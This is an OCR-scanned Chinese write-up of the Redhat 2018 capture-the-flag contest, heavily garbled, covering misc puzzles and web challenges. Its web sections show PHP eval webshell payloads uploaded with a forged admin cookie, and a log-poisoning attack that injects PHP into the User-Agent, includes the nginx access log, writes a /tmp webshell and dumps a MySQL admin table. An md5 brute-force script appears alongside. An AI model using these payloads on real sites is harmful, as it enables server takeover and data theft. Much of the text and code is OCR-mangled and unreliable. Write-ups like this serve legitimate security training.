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WELZLIHARESRE _F "R MELZELFHAE (BRTweb3 guessid , 7&ff, i85. )
misc2 Not Only Wireshark

TERES , wiresharkfTFF , iITiE&EEhttp

KBnamer g , Fpython re2EBREN SR

| & tpy - DAredhat2018\misc1\t.py (2.7.13) = 8] &%

File Edit Format Run Options Window Help

import re

s = open( Mot Only Wireshark.pcapng', rb™ ). read()

gg = re.findall (" /=qlifexamplelh. php' frname=1(...) 7, s)
gzz = . joinf(ss)

print z=a

| & Python 2.7.13 Shell [E=EER

File Edit Shell Debug Options Window Help

Python 2.7.13 (w2, 7. 13:a068454bl1afal, Dec 17 2016, 20:42:59) [MSC w. 1500 32 bit ¢ _:J
Intel)] on win3Z
Type "copyright”, “credits” or “licensze()” for more information.

FESTART: D:twredhat2018\mizclit. py
123404E0304080001080000T38CEC4ETEIEE4A95200000001400000004000000666C616TE81CD4a0ER
A201516EDYERIBORFC1T12360FDERFSETI16DDELRZ] 1 GESSFDEREFER04B01 023F000AD001080000T
3OCEC4BTEIFELA952000000014000000040024000000000000002000000000000000666C616704002
00000000000010018000DE30E543DT3D301A1EDD1B43DTID301IF99066543DT3D301504E050800000
DDDDIIDDDIDDEGDDDDDDQ2DDDDDDDDDD

Py

504B0304 , zip3X4LTHE—T

Z = '5'+s55[4:]

print z

f2 = open('2.zip", 'wb")
f2.write(z.decode( hex'))
f2.close()

18202.zip , FTFRIFEZ
REERES ctrl+fi#ZKpass, pw. word, key , KIlkeyHZRF

{EFE?id =1128%23 %155 flag
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T
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E B 21ip - TP FAECTE, RERE 20FH -|
Eo x| ERSHh EE #weia
S EIRES
L fiag* 20 32 ¥ 2017712712 1
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P 2. 5ip B b
#rAEAD
Tidell2Enzy -
Y BTESE
BTHRERT W
| EEER0. . |
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misc3Imst iR T=ZIRT IR

THMHHEBEELIS00Mxt + LG rar , IEETEtXHEEESE , pyBEEXHAS |, B2
VGgzcjMgMXMgbjAgZjFhZw==, base64f#=ATh3r3

1sn0

flag , LA ERNMEBARErarfIZES, FpyiRENATE txt 3B 1EAFH | ffaaprig iR iFrarZig

[1& tpy - DAredhat2018\misc3\1\tpy (27.13) l E=E

File Edit Format Run Options Window Help
import o= ;I
import bazedd

pwd = oz getcwd()
file_ lls't = oz. listdir (pwd)

£2 = openi’ 1. txt’,’ w) I
LD :‘FJ.J-.II.rLa.J.-T :i h
f2. wrlte(l[ —4])

s = openfi, ' ).read()

] aza. add(s) !
I 25 = bazefd. bfddecode (=)

if 85 == "Thir3d 1z n0 flag’:
I cont ime

print 1, ==

[0 ] :
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J) ARCHPR 454 - 1% = 8

File Recovery Help

L. R A S % 0 o0 §

r — —— —
Password successfully recovered | u
e, _ - —
Advanced Archive Password Recovery statistics:
Total passwords &
Total time 322ms
Average speed (passwords per second) |18
Password for this file 0328fcBb43ch2ddf8obasafasesdbeds P
Password in HEX 30333235306663386234336362 32 _|':|
H Save... V oK
2018/5/1 20:52:56 - Starting dictionary attack... -
2018/5/1 20:52:57 - Password successfully recovered | D
2018/5/1 20:52:57 - '0328fc8b43cb2ddfEobasafasesdbos’ is a valid password for
this file -
Current password: 0328fc8b43ch2ddfash Average speed: 18 pfs
Time elapsed: Time remaining: 268
Dictionary attack in progress, processed 6 password(s)
| 1%
ARCHPR. version 4,54 (c) 1997-2012 ElcomSoft Co. Ltd.
e ~

FEFTERE , BARdoctY , RIUNBEZ.
FI5285#% N E—aopr , HdocERg | AIFTEDFREMLAERRI6N , RETAEAEEINE, RMaopriEFEMEET , 5693
BEBRBOZE  BRIRTASHIETRS |

A THHIEE
\>\>\>s =" 123654AAA678876303555111AAA77611A321 "\>\>\>
bin(int(s,16))’ 0b100100011011001010100101010101010011001111000100001110110001100000011010101010101000

4 1 | 3

SWEHTFEEMESHD , A0 11T AT A To A
BEctf
SMEMERS |, 1Ehttps://bbs.ichungiu.com/thread-8480-1-1.htmILZEIFZABIIA
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[ & tpy - DAredhat2018\misc3\t.py (2.7.13)

{ @ Python 2.7.13 Shell

File Edit Format Run Options Wi

File Edit Shell

Debug Options Window

Help

a =
2=
tmp
print =
i=10
while i < lenf{s):
3 = =[1:1+2]
#print j,
i+=2
if 3 =="000 aor j
print Terror’
elze:
if j

int (aa, 16)
str(bln(a)) [2:].zf111{1enaa) +d

117

017
tmp += 17

elif § == "10°:
tmp += "0

elze:
print "eerroorr’

print

print tmp

print hex(int (tnp, 2)]

n—03123554m5738753035551IIAJL".TTEI
flagz=
bs,—, 07 +hinin) [2:]
=
def conw(z):
return hex{int (=, 277 [2:]
for i 1n range (0, len(bz), 23
PR e L E |
1f bsli:i+2]==
r+=" 0"
elze:
r+="1"
for 1 TP L0, LE e, 08
tmp=r [1:1+8] [::-1]
flagt=corw(tmp[:4])
flag+=conv (tmp[4:]1]
print flag.upper ()

Intel)] on wind?
Type "copyright”,
s

Python 2.7.13 (w2.7.13:a06484blafal,

"credits” or

Dec 1T 200

"licenze ()" for 1

FESTART: D:wredhatZ018%wmi:

A1030A0AFBEEA05280
b

FESTART: D:twredhat2018\mi

SEFCESFS0TALGFADTT
p

HehSEFCFS5F507AASFAD7 733 RiF5F507

EHEMAAIN

if bs[i:i+2]==
r+="@’
else:

r+="1"

\

s

XEmEAelse: r+=" I'RERERIXEEMelse: r+=" 1'RE

EAEERFENRB00FI11SFA Lk

miscAiXEiEwebgH ?
TEMHG , AEER , FIBET ?

=z

REXEEelse: r+='

1'1RE=

5
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I 78456550-3fc1-11e8-0828- 32001505020, peapng PCMS\unCMS yunemeimadules\azifields\text 2311 KB 2018/4/15 0:59
= 2jpg D:\redhat2018\miscd 1868 KB 201831 523
& gl D\redhat2018\miscd 1,864 KB 2018/5/1 64l
I ad4cifB2.3c-1108-bd7d- 320015050520, pcapng  DAredhat2018ymised\yurCMS yunC M yuncms\modulesiaziinstalllanguages L1ZE KB 2018/4/14 1703 I
= 444961d0-34c2-1108-b05h-32001505e920.pcapng  DA\redhat20LE\misea) yunCMS yunCMS yuncms\madules\az fislds\catids 982 KB 2018/4/14 17:00
[ 32002066-3Fc1-11e8-a160-32001505e020.peaprg  DrAredhat20L8\mised yurCMS unCMS yunemsfibsielssses 703 KB 2018/4/14 1652
I = demo_defaultjpg DAredhat2018y mised yunC MS\yunCME) statics\images\az 680 KB 2011/7/4 14:23
= af56c7c0-30c0-1168-934e-32001505e920,pcapng  DAredhat20LE\mMIsea) yunCMS yunCMS api 528 KB 2018/4/14 16:47
T fawEa14- Hel- 11082116 320015056020 pcaprg  Dr\red hat 2018 misodyurC MG yunC ME\ caches\caches yploaches_data\ser 463 KB 2018/4/14 1650
|2 pelzip.class.php D\redhat2018 milscd yunCME yunC M yuncms\modulesh aziinstalliclasses 198 KB 2011/7/5 10230
I 6acoB0ic-4008-1168-0d36-320015056020.pcopng  D\redhat2018ymisedyunCMS unCMS statics\az com_defsultimages 168 KB 2018/4/15 1:22
B NOflag.peg D\redhat 2018 milsedyunC MG yund M| api TOKB 2017/5/27 9:56
| maljsp D:\redhat2OLENmIsed yun M yunrCMS yunems|libsiweb s 55KB 2018/4/14 1621
4 business.ghp Dr\redhat2018ymiscdyunC MSiyunCMSyunemsimadulesiaz A2 KB 2018/4/14 1610
B baner_bgpng D\redhatIOLEmised yunC M yunCMS) statics\az\com_defaultiimages 39KB 2011/6/3 16:59
B adpng DAredhat0LEymised yurCMS yunCME statics\imagesaz ISKE 2011/7/21 1812
|4 index.php D\redhat 2018 misedyunC MEyunC MS\yunems\madulesiaz 27TKB 2011792 10:28
1 category.php D\redhat20L8\miscd yurnC M yunC M yunems\madulesh az IT KB 2011/7/7 18:48
| = adjipg D:\redhat2018\miscdiyunCMS yunC S statics\az\com_defaultiimages 26 KB 2011/6/3 16:39
% yp.lang.php D\red hat20OLE\ml s yunCMSyunCMSyuncms\meduleshaziinstall janguages... 26 KB 2011722 9:38
4 global.furc.php D:\redhat2018\miscd yurC M yunC M yuncmsmadules) szl functions 26 KB 2011/7/21 1840
B ad2.png Dredhat0OLE\ iS4 yunC MS\yunC MS)statics\azi com_defaultimages 25KB 2011/6/3 16:59
.| ;..mg;peg Dvredhat201fymisefunC M yunCME caches\caches yplcaches_data\ et I5KB 2018/4/14 1618 i
[ cmntent e e _n M .
| 096 T3l _ i

RANERER. AR, RS RIS, RANEXE AR ERM BN TIZIMI T™F ? B9 mal jsp , ER
Bt ? mE82Ehttp , RyuncmsBXRIB ? AR ? BFEAR—EMRAIgITEMAR | BRERRgIf ? SiLIEMAIERIE
RERRIE LRI ?

A7 HBABEIE— | iLFKiKwebshell,
fEFRdEWebShellKillJF—i& , &Z¥companytplfiles.phpBlalt

FT: ischiunCHSunCMSy ajnstal \companytpiles php - NSRS L e BT
= -
el D REE OREY) &R SN0 2ED RO M S5E Seh RO X
s IHE s Sl suDiocian + 1 AFEEIRO T EEEERAEET « v =B
H cmrerntiten. sedd |
T L8 2 -
L] $templats config file = PC_PATH. ‘templates’ .DIRECTORY SEPARATOR.po bass:iload config(*system®,
“tpl_name').DIRECTORY SEPARATOR. 'yp‘.DIRECTORY SEFARATOR. ' gompanytplnamss.php':
L if (fils_swists (Stemplate_config fils)) |
18 Sooppanvtplnangs ® includs Svemplave_config fils;
11 if (is_arrayifgompanyiploemss) Li lempry(fccmpanyiploamssl) |
1z fzzmach (Secmpanytploames as S5k => Szgl) |
W s if (Sppl[ defanlitpl’]) Sdefaule_wpl dir = Sppd( diz"l:
14 Beeak;
15 1
18 Smaskasinis = Srhis-smesbacinia;
17 1 #lse |
18 Sdefault_tpl dir = 'com _default’;
l 19 ]
0 } elaw |
21 Sdefault_tpl_dir = 'com_default';
22 ]
23 Smanu_usesr = arcraydstring(Smenu_user);
24 if (fyp_setting['enakble_rewrite']) [
25 Surl = AFF_FATH. 'web-'.Suserid.".himl"s r
26 else |
27 $default_tpl_dir = 'com_default';}
28
2% mlise |
38 $gcl = APP_PATH.'indew.phpim=ypéo=com indewéyasrid=".fuasrid:
3i i
3 ..
ay Hi
a3 ¥ou sventually found me
a I am a hacker from OJecrgia
3 ¥ou are deing tes moch food at your upload
| Used tabazk te make traffic records?
3 Tharn you go to the traffic to find me
3 3
H*M’HEF i : 30 La:1 Cel:1l Sel:0)0 Unix (LF) UTF-8 INS.

IHEERES PRI AR , BRAEREttp , BRHiEpostT
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I ac0800¢-4008-1108-0d36-320015056020.pcapng  DAredhat2018\mise#\yurC MS\yunC M\ statics\az\com_defaultiimages 188 KB 2018/4/15 1:22 |
[ $4906814.-3c0-1168-a116-32001505¢020 peapng  D\redhat2018\misedyunCMS\_ MACOSH\yunCMS\ caches\caches ypheaches_.. LKB 2018/4/14 1650
% _af56cTe0-3f0-11e8-934e-320015050020.peapng  D\redhatI0LE\misedlyunCMS)_ MACOSK\yunCMS)spi 1KE 2018/4/14 1647
T _aa4chE2- 3ic2- 1108 bd7d- 320015055 10.pcapng  Do\red hat20L8 miscdyurCMS'_ MACOS X yunrC M yuncms! modulesiaziinstal... 1KB 2018/4/14 17:03
[ ._7B46E550-36c1-110B-0828-320015050020.peapnyg  Dr\redhatI0LE\misedyunCMS|_ MACOSH\yunCMSyunemsimoduleshazifields_.. LKB 2018/4/15 0:59
I _444961d0-3c2-1108-b05b-32001505e920,peap... D:A\redhat20LE\miscdiyurCME|_MACOSK\yunCMS\yunems)\modules)azfiskds... LKE 2018/4/14 17:00
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1£78466550-3fc1-11e8-9828-32001505€920.pcapng BEAI— M postEBETMNEH

7846055051 1108 3878320010563 20pcapng B W A e 1 B T —)

Adm e sERBEqQ==ETiZEaaan

W [teg v 4 mathod == “POST™ BHCD -] &gk +
B Tims Ewvwres Bastamatsan Frotersl Langih Iafs

417 118.678143 18.211.55.2 18.211.55.15 HTTP 212 POST Juploasd/exsmplel.php HTTP/1.1 (text/php)
-i-c- 1972 153, 463258 18.211.55.2 19.211.55.15 HTTP 212 POST fupload/examplel.php HTTP/1.1 (JPEG JFIF image)

N4-SHx5-Sitihttp , Sk

T B

|W
1572 10.211.55.15 multipart/form-data

R bl

W *h R E
107 10.211.55.15 text/html 24 kB example3.php?file=hacker
112 10.211.55.15 text/html 24 kB hacker.png
122 10.211.55.15 text/html 1589 bytes examplel.php?name=roct
129 10.211.55.15 text/html 1589 bytes examplel.php?name=root 1
132 10.211.55.15 text/html 1546 bytes examplel.php?name=noting
210 10.211.55.15 text/html 24 kB exampleld.php¥ile=hacker
218 10.211.55.15 text/html 24 kB examplel.php?file=hacker.png
230 10.211.55.15 text/html 6033 bytes \

l 251 10.211.55.15 text/html 24 kB hacker.png
257 10.211.55.15 text/html 1769 bytes examplelphp?ip=127.0.0.1
266 10.211.55.15 text/html 1768 bytes examplel.php?ip=127.0.0.1;cd%20index.htm|
279 10.211.55.15 text/html 1819 bytes examplel.php?ip=127.0.0.1:ls
283 10.211.55.15 text/html 1819 bytes examplel.php?ip=127.0.0.1;ls L
362 10.211.55.15 text/html 24 kB hacker.png r
367 10.211.55.15 text/html 6033 bytes \
374 10.211.55.15 text/html 24 kB examplelphp?file=hacker.png
403 10.211.55.15 text/html 24 kB example3.php?file=hacker
408 10.211.55.15 text/html 1637 bytes examplel.php
417 10.211.55.15 multipart/form-data 1529 bytes examplel.php
419 10.211.55.15 text/hitml 1724 hrytes exarnplel,php
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Windows (TR LF

length : 191290 hned : 20,306 La:] Col:l)

binwalk3#r , K 7 gif. FREAXERNGIFRX

r

BN Ch\Windows\system3Z\cmd.exe

HEXADECIMAL

Bx111C
Bx64FD4

size:

D:sredhat2@18misc4>

f§Efforemost -v -i 2.jpg -0
JLgifiREVRIAZE

D:=redhat2818 mizc4>binwalk 2.jpy

1848576 bytes, uncompressed size: 6434637066806828552 hytes

KIRLLAZgifFaEAR, ERA

L= | &

DESCRIPTION

JPEG image data. JFIF standard 1.81
GIF image data,. version "8%a'. 388 x 168
LZMA compressed data. properties: Bx%8. dictiohary

—TZkbAURAA RN 10kb , RIBNAZ , FEFREA,
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{#FAdd if=2.jpg of=3 bs=1 skip=4380i2E55gif

Desktop# binwalk 2.jpg
DECIMAL HEXADECIMAL DESCRIPTION

JPEG image data, JFIF standard 1.01
0x111C GIF image data, version "89a", 300 x 168

TGl dd if=2.jpg of=3 bs=1 skip=4380

1908391+0 records in

1908391+0 records out

1908391 bytes (1.9 MB, 1.8 MiB) copied, 3.05829 s, 624 kB/s
:~/[ top# file 3

3: GIF image data, version 89a, 300 x 168

root@kali: ~/Desktop
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300 = 168 pixels
GIF image
e L9MB

1908391+0
1908391+0
1908391 b

3: GIF image data, version 89a, 300 x 168
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g - AORBEAOFRBEEACRBERE, K5 "XS2EFRTR ?" 2F—KR°?

miscS[AEEE
EERZ=flag
NTEwpERRRIEEHRHAES , AEEITHE—E.

web1 simple upload

FEEITIKSZRES , KIIRE T set cookie: admin=0


http://image.3001.net/images/20180503/15253338801203.png

i:.-pmu - LarryLa
Burp Wtruder Repeaster Window Help.
|T-n-an-n Scannar | neruder | Ropeater | Sequencer | Decoder | Comparer | Extandar | Options | assns |
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't Execute

[ Enable Post data [ | Enable Referrer
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Burp Intuder Repealer Window Help

Target | Prosy | Sputer | Scannas | eanstr | Ragaste | Sequeoces | Dscose | Compare | Extemste | Opions | mons |

L Go Cancal i‘l' Bl Target: hopolidd thddTab5924c T 200 3cb4 T20MEDD ddile gami. m@l?l
Request Response

Params | Headers | Hex Headers | Hex
POST fuplesd HITP/1.1 O HITP/ 1.1 200 w
Howt: 147bd|Teb5H0 16T IHETE| IO DETe dedldobS Laedl 1d0e. gane. tchungin con Serwer: ngine/l.10.2
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Cortent=Type: maltipart/fora-data. Cantent-Length: 60

. I ISIISES Connection: kesp=alive
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File uploaded to /80554f ca=dbdf=1d13=B022=361 565834281/ 1. png
e i ]l v v ]
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Comtent-Disposition: form-data. mawes"file” . filenames"1.png”
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Howt: 1dZbd|TebSE01eTTHEDS 1 II0TBET ke dedldab S L acdl 1dle. gane. iehungiu con
Cockie: admins]

Comtemt=Type: maltipart/fora-data.

e TEIINNSIISENE
Comtemt=Length: 107

] L v ]
Comtent-Dispesation: Term-dein. name="dir”

uplosds’

- IS IS
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w5 R

HYs e d IDAT Wo
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- HITP/ 1.1 200

Serwes: ngine/l.10.2

Date: Tus, 01 May 2018 13:38:00 GNT
Content-Length: &

Connection: kesp=alive

File uploaded to /iab8821e=575e=1130=032b=T617T1eldf dbe/1. php

= E] lZJ E E] Ty & Search jem
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Request
Params | Headers | Hex

ddie gama.

Target: hop-lidd thddTabS924cT 298 3c64 3 20MEAD

Response
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POST fuplesd HITP/1.1
Host: 147541 TebSH2 1T 258361 1207 SESbe dedidebS  acdl 1 dle. gane. tchungiv com

Cockie: sdmim=]
Comtemt=Type: maltipart/fora-data.
e RIS
Comtemt=Length: 311
e i ]l v v ]

Comtent-DTispesation: Term-dein. name="dir”

Content-Tirperition: form-data. names"
(Comtemt=Type: imuge/pag
Ciphp evsl (§_POST[ w117

——————————————— N

AEEE

- HITP/ 1.1 200
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Date: Tus, O May 2018 13:38:50 GNT
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= E] lZJ E E] Ty & Search jem
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“7php
wral (B_POST[ " 10:7
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u i: " E i
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Howt: 142681765921 298361 X000 068 A2 A0 8ab3 L e Al | 20w, gaks. i chifigli col Cantent-Type: vext henl | chassstsutf-8 P
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Connection: kesp-alive
Content-Language: &n
¢ ldectype btml<hinl lang="en”*chead*<t1tle’HITP Status 404 - Hot
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T ot —Fama 1y : Tahema, Avial, sans—sersf  color:white backgreuwnd-color: 88
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{famt—family: Tahoma, Arial, sans—serif | backgrownd:white coler :black fo
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ithe tmrget reseurce or ks ol willang te disclese thai end
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Comtemt=Length: 8%
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dir”
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[ —— L | LYY TR T .

up londs

—01 00
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Serves: nginx/1.10.2

Date: Tus, 01 Nay 2008 13:41:00 GNT
Content-Length: 63
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v
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Request Response
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GET /1. 3sp HTTR/1.1 O HTTP 1.1 200 [

Hest: 1dlbdiTebSH2 10788 0l 1200 B Fododideb L ncd] Fd0e. game. 1chungiu, com

Server: ngina/l1.10.2
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Response

FOST feplend ATTRSI. 0
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D ——— 2 kL s L
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Burp imruser Repsater Wisdow Halp
Target | Praey | Spaser | Seamne | letrater | Rapatar | Saquance | Ducor | Comparnt | Extencer | Opisns | o |
[rovcape | tsteny | 0pp |
Fitar w—unlm L_J
g 1120 132 95 234 GET 1 [ ) L momesan |
[t Ta|
HITR/ 1. 1 200 oF .
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Request Response
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GET £ HTIP/L. 0 L) HITF/1. 1 el -
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& A X aAB

Stop Headers Options About Help

Select action - Header name

Action Name Value

Add  X-Forwarded-For 111.13.101.208

Add  User-Agent powerby aaa

Add Host www.baidu.com

Add  User-Agent Mozilla/5.0 (Windows NT ...

Add  X-Requested-With XMLHttpRequest

Add  User-Agent Mozilla/5.0 (Linux; U; And...

Add  User-Agent curl/7.29.0

Add  referer aaa

Add  User-Agent Mozilla/5.0 (iPhone; CPU i... iPhone

Add  User-Agent Mozilla/5.0 (Windows NT ... qgq browser
AEEE = Ssiills B0 Al poe

Add  host www.tmvb.com

Add  referer wwnw.dww.com

Add  Accept-Language Ja

android QQBrowser wx

mobile phone UCBrowser

curl

...P..........
® 0
¢
¥ 2

a

X3

A
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€ @ 120.13295.234/5056050e616552d24480017c) | C || Q e B8 O 4% K e- & @ =
= & SQL- XSS- Encryption- Encoding- Other-
& Lload URL  hrtpy/120.132.95.234/5a560e50e61b552d34480017c787 746 info.phe| -
& split URL +
) Execute
Enable Post data Enable Referrar
BYEEEE
ITHIRS : #E TRESEET BAIERS : code
substrimdS(code),0,6) === "cedcbb’
Copyrignt by ailibaba corp. Bit7FF7 ailibaba
RS |, R
Spyigmd5
1 & 4words_mdS.py - EA1000\dwords_mdS.py (27.13) =8 = 13 "Python 2.7.13 Shell" il
File Edit Format Run Options Window Help File Edit Shell Debug Options
# —%= coding:utf-§ -=- = Python 2.7.13 (w2. 7. 13: a06454h|
Intel)]) on wind2
inport hashlib Type “copyright”, “credits™ or
inport itertools pES
én.portqstrj ﬂ$“ S BndshE RESTAR
-‘a‘- ’ e @ start
%E L‘_;R HnE lﬁﬂ’ﬁ.é’ \Egﬁgﬁﬁ c;dchﬁ
thHoc
def mdB(str): done
# gliEndsad B
m = hashlib, nds ()
B
:l.q:l siztr
Lp R
returr. n,,hezd.].(ﬂt 0
#count = 0
words = string. ascii_letters + string.digits
Bwords = string. count
print " start”
while 1z
5 = raw_input ()
for 1 in itertools. product (words, repeat = d4):
md5_word = md5(" ", join(l)
emdS_word = md5("". join(l) + "Oops!™_"")
#count = count + |
if mdS_word[:6) ==
print “7. jein(l)
gprint count
break # 0881 TEIF
print " done’
#ARHEFANE, BEHE, AR HREICEMT
with open( dwords.txzt’, "w') as f: |
for 1 in itertools. pmduﬂ( abodefghi jklmnopqrstuvwxyz0123456T89", repeat
nd5_word = md5("". _]O:Lnl[].]l)
fowrite (", join(l) + ":" + ndS_word + “\n")
| ] LLEEFSFT Lm 36 Cok 34

FRIBhint@A B2 . M99991F0000)SEREIF—r,
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B

& | @ 120.132.95.234/5a560e50e61b552d34480017c; v | @ || Q, @ B O 4 R =- & @ =

~
= @ SQL- XSS Encryption- Encodings Other

@ LloadURL  hitpi//120.132.95.234/5a560e506616552d34480017¢7877467info.php :
&  Split URL +
+) Execute

["] Enable Post data | | Enable Referrer

There's na such order.

There’ s no such order.

YFIE, FHAISR

r —
{ & web2.py - D:\redhat2018\web2.py (2.7.13) .
File Edit Format Run Options Window Help
for 1 in itertools. product (words, repeat = 4):
mdb_word = md5("". join(l))
1f md5_word[:6] == code:
return 7. join(l)
return False

yords = gtring. azcii_letters + string. digits

urll = "http://120. 132, 95, 234fEaEGDEEDeﬁ1b552d3€14800ITCTBTTQETinfD.php’
url? = "http: ff12|:| 132, 95, 234!31:-1 php?action=report’
headers = {"Hozt": “wuor, tmwh, com”,

"Cookie”: PHPSESSID SEthtSEEIlmSTDDaI1611c3h94",

"Referer : “wnny, dun, com "1
header=2 = {"Host": “wonr, tmvh, com”

"Cookie”: PHPSESSID SEthtSEEIlmSTDDal1611c3h94

"Referer”: “wwnwr. dwr. com”,

"¥-Fequested-With": "¥MLHttpRequest",

"Corternt—-Type”: "applica‘tinnfx—mr—form—urlencoded: charset=IUTF-8"}
proxies = {"http”:"http:/ /127,000 1:80807})
number 989

result i
while number > 0:
i={

J[Merrar’ ]1=1
while j[Merror’] =
r = requests. get (urll headers= headers)#, proxles proxles)
code = re. findall (* substr (ndBy feodet), 0, 84) === " [ *)" ", r. content) [0]
code? = burp_code (code)
while code? == Falsze:
r = requests. get (urll, headers=headers)#, proxies=proxies)
code = re.findall (“zubstry (md5y (coded), 0, B4 === " (L #)" ", r. content) [
code? = burp_code (code)

r?2 = requests.post (url2+"hrumber="+ztr (rumber), data="Txt Tid="+str (rnumber
j = j=on. 10ads(r2 cortent)

print rumber, [ msg’ ]

result [rmber] = j[0msz"]

number —= 1

B5T—hER , SREKREBEIRFEMS | V\gRiiE200~number , BT HEA |, HEEALLEAML,

REREFOFENTELR , KA EEFEHREEMSIRK E |, TEMAER T MR , BifEhash , RET. (HLEEEKE
BAITT | AR ASEAIERE ? ) (A MHEEEPARFEAIRET )
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FApy# T NORERN KNG +EIFHIMASRIGASAAIER | BT IR NVINTRIRERMSE. HEREE. RKIEL/978ie 7229 , ExITHEE
LSRNET

.cmdc:c [+

R &z |sEes | CEnEs

BTS2, e

NEVHE Cw)
7 idEE WAL

fiet EEYPR L E

Forlu 25.6 GB (27,489, 855, 540 =H)
SRTE 25,6 b (27,489, 857,538 T

GEEEtE:  zo1edFE4 308, 20:06:18
fEbEdiE:  zo1eE4F0. 2004442
inieEtiE: 20184 A308, 20:068:18

®it: BE® (EE L]

PRI T DB AN +EFRIMd SEIGAZALER , 10023,

- - ~
L webl_with_rainbowtable py - Dyredhan 201 Bywebd_with_rainkoetable py (2,71 — L L& *Python 27.13 Shell* 2| é

Fe Edit Shell Debug Optiors Window Help
Prthon 2.7.13 iv2. 7. |3: al6454b1afal, Dec 17 2016, 20:42:58) (MSC =, 1500 32 bit ( &

e
e e ()™ for more informat o

ruinbow_list = epeni E: 1 4 # 1 Fadf W 68 vee ", " £ . rewd (). aplin |

rainbow = [}
1

Al t:
rainbow| = 1[:4] |
{rinbow),

burp_co

urli = "htt
url? =
headers = [

headers? = [“Host” i "

J = L
egeerta. gt (urll, hesders=hesdera) 8, proxles=pEon1es = =

L 28 Cok 34 L7 CokD

BHEERMREZT , BFP—number,
1£9588tiflag

9588 Congradulations, your flag is flag{hong_mao_ctf_hajimaruyo}

web4 biubiubiu

FIFFE RGBS Ihttp://zzz.game.ichungiu.com/index.php?page=login.php , MXAINESHE SR
Ahttp://zzz.game.ichungiu.com/index.php?page=php://filter/convert.base64-encode/resource=login.php,
ETRERNEE , —EphpEEE&HEEgetshell ( https://www.baidu.com/s?

wd=php+%E6%96%87 %E4%BB%B6%ES5%8C%85%ES5%90%AB+%E6%97 %A5%ES5%BF%97 +getshell ) , —Rssrf
gopherfTmysql exp. (FHEZHFKid 77— L , #52VAKID. )
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—iBELE , IBRIBERIESS T |, fElogin.php&AIBconn.php , BE)mysqlikSZH2,

— @ SZInginx B &3 {4/etc/nginx/nginx.conf ( 1RIEIMLN EAYIServer:

nginx/1.10.2¥if@nginx , RIiFFvpsi 7 apachefInginx FEHAEFvpsEENGINXELEX MR T ) |, BEIHE U4
f&/var/log/nginx/access.log

Bluser-agent , EBHEXIHEN—TIE

Request Response

[ riesters [ e | R viescers [ |

GET /7 HITP/1.1

-

HITPA1.1 302 Found

-

Server: ngina/l.10.2

Dute: Nan, 30 Apr 20LE 1§:12:20 GNT
Content-Type: text/Mal, charssrsOIF-8
Connection: kesp-alive

Location: index. phpTpage=laogin. phe
Content=Lengtht 21

User—Agent: <?php eval (§_POST[ end” ). 7>

seenl el §, o' gel. 8
Accept-Language: zh~CW, zh:qel. 3, en-U05 qe0. 5, en qeidl 3

Accept=Encoding: gzip. deflate

Connection: keep-alive

REXHRIFEEESKIEZ T—%php—ai&

10.10.0.9 - - [30/Apr/2018:18:19:33 +0000] “GET /HTTP/1.0" 30221 “-" "\<?php
eval(\$_GET['cmd']);?\>"
(&F : IR RuamARREAIE ? B REeE®urifluafireferer , Erhurigifurléghs , 25410.10.0.9

[30/Apr/2018:18:18:53 +0000] “GET /?%3C?php%20eval(\$_GET[%27cmd%27]);?%3E
HTTP/1.0" 30221 “-" "Mozilla/5.0 (Windows NT 6.1, WOW64; rv:41.0)
Gecko/20100101 Firefox/41.0", uriF=id 7. )

IR LAEZSRTJIEE.
BATIFE (BBE) |, Atmp/ET7M—EiE ( HfbiERwww-datafiRFRAE ) |, XEMARESEE , LatiE

/?page=/var/log/nginx/access.log\&cmd=file_put_contents(%22/tmp/s.php%22,%22%3C?
php%20eval(\$_POST[%27cmd%271);?%3E%22);

)ik
(O] $RIESHELL b4
it |11t_tp ffzzz. game. ichungin. com{7page=/tmp/s. phyp | emd
Eif:
B |
EEST v |[pHE val) v ][cB2312 ~]| wuE
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_ O SRR AT X .

Tl |<TAMEALY T 0T ocalhost I Al oot S/UPH/PHLInt S /LY ]

FiE s |<TMYSOL T
H¥localhest < H>
SUxDogdfU>
ESE

Lt £8</ L

Bz

#ZElflag

EtE | SELECT + FEOM adwin
{hiTRETh IEENST id username password

[ information_schena - ‘ '
= i 01 dni flag{dbc38ddT-20£b-44 £4-8dbe—35aT2 f0TecOd SO

@ ) st ol il ERBBISARBIA R
id

uEErnAme

password

waf , $=57)89. HANRZREMEHAIcaidao-20160622-www.maicaidao.com (tREEKRY ) , EEHUE Eshell 7. FEAR
B. WEEMIEM127.0.0.17 , AEE MREHARHET.

1 H<?php
2
3 if (isset ($_GET['page’]))
4 B {
5 i Sfile = S GETI pagetl.
6 B | if(strpos(Sfile,"read")){ |
1 headar ("Location: index.php?page=lecgin.gphp™);
a exit();
- - }
10 include (§file) ;
11 B }
12 H else|
13 header ("Location: index.php?page=login.php");
14
15 - }
16 =2
17
18 <!=-- users.ggl -—>
15
TRERREE
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web4 302iRElgopherBkiEaILAgiTif(preg_match( “AMhttp(s?):\\/.+/"
\$urh)){ , 2AIFE T —M LR9gopherfTmysql , BEEFTAMIN. FIREXFERIRARNERE , RREFI—
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4 I | b

https://www.jianshu.com/p/6747fbc7b289
IEHREMweb)

¥ BREARFweb Y

i VAR

RRHEEE— T TSR T

PWN!

BEBEAFRITLUBSH , BWBAFREEKICIZFRE—E >>> bk
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